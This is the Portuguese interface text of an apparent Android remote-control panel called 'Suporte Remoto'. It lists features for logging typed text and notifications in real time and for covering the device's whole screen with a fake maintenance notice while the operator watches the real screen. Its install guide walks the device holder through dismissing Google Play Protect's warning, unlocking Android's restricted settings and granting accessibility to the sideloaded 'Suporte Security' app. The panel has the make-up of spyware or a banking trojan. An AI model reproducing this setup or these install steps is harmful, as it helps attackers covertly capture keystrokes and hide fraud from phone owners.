Suporte Remoto

Digite o código mostrado no terminal onde o painel foi iniciado.

Suporte Remoto
adb

Aparelhos

    Conexão USB (adb)

    Nenhum aparelho conectado Abra o app Suporte Remoto no aparelho e ative o serviço de acessibilidade.

    Overlay de manutenção

    Desligado

    Cobre 100% da tela do aparelho com o aviso abaixo. Você continua vendo a tela real aqui no painel.

    1. Baixar app

    Baixar APK

    Instale no aparelho e ative o serviço de acessibilidade. Ele conecta sozinho ao painel.

    Atividades do aparelho

    Texto digitado e notificações recebidas em tempo real (últimos 200 eventos).

    Aguardando atividades do aparelho...

    Histórico de conexões

    Aparelhos que já conectaram neste painel, em ordem do mais recente.

    Nenhuma conexão registrada ainda.

    Como instalar e ativar

    Passo a passo para o colaborador (Samsung). Toque na imagem para ampliar.

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      Baixar e instalar

      Baixe no botão "Baixar APK" (aba Overlay). Abra o arquivo baixado e toque em Instalar. Se o Google Play Protect avisar, toque em "Mais detalhes" e "Instalar mesmo assim".

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      Abrir o app

      Toque em Abrir. Aparece a tela de ativação:

      Tela de ativação
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      Permissão de exibição

      Toque em "Abrir e permitir". Na lista, ache "Suporte Security" e ligue a chave.

      Permissão de exibição
    4. 4
      Acessibilidade

      Toque em "Abrir e ligar". Entre em "Aplicativos instalados", toque em "Suporte Security" e ligue. Confirme o aviso do sistema.

      Acessibilidade
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      Se aparecer "Acesso negado ao app"

      É uma trava do Android para apps fora da loja. Abra as configurações do app, toque no menu de 3 pontos (canto superior) e em "Permitir configurações restritas". Depois volte e ligue a acessibilidade.

      Aviso Acesso negado Configurações do app
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      Pronto

      Com as duas permissões ligadas, o aparelho aparece aqui no painel em alguns segundos.